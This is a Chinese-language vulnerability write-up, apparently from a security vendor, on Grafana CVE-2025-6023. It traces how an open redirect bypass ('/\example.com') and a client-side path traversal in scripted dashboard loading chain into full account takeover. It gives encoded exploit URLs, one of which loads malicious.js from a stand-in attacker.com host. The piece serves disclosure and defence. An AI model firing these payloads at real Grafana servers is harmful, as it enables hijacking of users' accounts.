Grafana CVE-2025-6023：515 單元發現不完整的修復，導致完整帳號接管

然而，此部分緩解措施仍未解決核心攻擊媒介的問題。潛在的風險仍然存在：如果攻擊者能找出易受開放重定向攻擊的替代端點，即使在修補程式之後，相同的攻擊鏈仍可能存在，並可用於執行完整的帳戶接管。考慮到這個假設，Hoa 對 Grafana 程式碼庫進行了更深入的原始碼檢閱。透過這項努力，他成功找出另一個易受攻擊的端點：/user/auth-tokens/rotate。

這個端點是用來重新產生過期的驗證標記。查詢參數redirectTo用於在成功更新認證標記後，將使用者導航到目的地頁面。

在典型的實作中，重定向 URL 是由Cfg.AppSubURL設定值與使用者提供的redirectTo參數串接而成。但是，在 Grafana 的預設設定中，AppSubURL未定義。因此，在形成重定向路徑時，應用程式僅依賴redirectTo的原始值。

Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.

對於這種重定向機制，Grafana 嘗試透過稱為ValidateRedirectTo 的驗證函式來降低與使用者提供的輸入相關的安全風險，該函式的目的是透過禁止路徑開頭的雙斜線來阻擋不安全的重定向目標 - 例如以//example.com開頭的重定向目標：

然而，正如Alvaro Balada 的原始研究中所展示的，使用前斜線後接反斜線 (例如/\example.com)，可以繞過此功能，現代瀏覽器對此的解釋與//example.com 相似。因此，假設使用者已通過認證，下列有效負載可用於達成開放重定向：

/user/auth-tokens/rotate?redirectTo=/\example.com

Hoa X. Nguyen 的這項發現，加上CVE-2025-4123未完成的修復工作，顯示完整的 Grafana 帳號接管仍然是可能的。

在DashboardPageProxy 中，執行流程如下：

DashboardPageProxy傳回的結果來自stateManager.fetchDashboard()方法的執行，該方法接受從 URL 路徑擷取的uid、type和slug參數。為了分析這個回應是如何建構的，Hoa X.Nguyen 檢查了stateManager物件及其fetchDashboard()方法中的邏輯。stateManager透過getDashboardScenePageStateManager()函式實體化，該函式定義在以下檔案中：

/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts

由於stateManager是在沒有任何參數的情況下，透過呼叫getDashboardScenePageStateManager()函式來初始化的，如圖 2 所示，因此可以斷定返回的物件是UnifiedDashboardScenePageStateManager類的實體。

因此，為了瞭解fetchDashboard() 方法的行為，他開始分析其在UnifiedDashboardScenePageStateManager類別中的實作：

在UnifiedDashboardScenePageStateManager類別中，fetchDashboard() 方法首先會呼叫withVersionHandling()函式。這個函式負責判定並傳回activeManager的實例。一旦activeManager 建構完成，就會在該實體上呼叫相應的fetchDashboard()方法，並傳入相關的選項參數。

activeManager範例是DashboardScenePageStateManager或DashboardScenePageStateManagerV2物件。這兩個類別都實作類似的擷取儀表板資料的邏輯。以下程式碼取自DashboardScenePageStateManager類別：

在DashboardScenePageStateManager類的fetchDashboard ()方法中，會使用切換語句來根據路由類型決定適當的處理邏輯。在預設情況下，該方法會呼叫

dashboardLoaderSrv.loadDashboard(type, slug, uid, query)

此呼叫會啟動載入要求的儀表板的程序。loadDashboard()函式的參考實作可在下列檔案中找到：

/public/app/features/dashboard/services/DashboardLoad

在loadDashboard() 函式中，會執行幾個條件檢查，以決定適當的處理流程。在類型設為「script」且存在slug的特定情況下，函式會啟用：

this.loadScriptedDashboard(slug)

在此，slug（直接來自使用者輸入）被傳送為loadScriptedDashboard() 方法的參數。為了評估此呼叫的執行流程和可能引發的漏洞，Hoa 繼續分析DashboardLoaderSrvBase類別中loadScriptedDashboard ()的實作：

在loadScriptedDashboard() 方法中，slug 參數（如圖 2 所示）被視為檔名（字串），並用於建構 變數。變數。但是，此參數未經適當的淨化。該實作套用正規表達式，以正斜線 (/) 取代所有點 (.) 字元，但緊接在"js" 之後的字元除外。此部分過濾未能正確地對輸入進行消毒，使其容易受到路徑操控和遍歷攻擊。

URL 建構完成後，腳本會嘗試呼叫getBackendSrv().get(url)，以載入指定的儀表板。擷取的指令碼會使用this.executeScript(code) 執行。

這項分析最終導致 Hoa X. Nguyen 在最新版的 Grafana 中發現新的用戶端路徑遍歷 (CSPT) 漏洞。由於缺乏輸入 sanitization 或驗證，攻擊者可以操控slug來製作 URL，載入並執行來自外部來源的惡意指令碼 - 複製先前在 CVE-2025-4123 中透過儀表板指令碼載入所發現的核心問題。

當這個問題與新發現的開放重定向漏洞結合時，就能形成完整的攻擊鏈，達到完全接管帳戶的目的。展示此漏洞的範例有效載荷如下：

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>

例如：

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js

惡意的.js檔案可以被製作成將受害者的電子郵件位址和使用者名稱變更為攻擊者所控制的位址和使用者名稱。這將允許攻擊者向自己的電子郵件地址啟動密碼重設程序，最終導致帳戶被完全接管：

此外，CVE 也可以透過 MetaDefender Software Supply Chain，利用MetaDefender Core 與 SBOM 識別這些漏洞。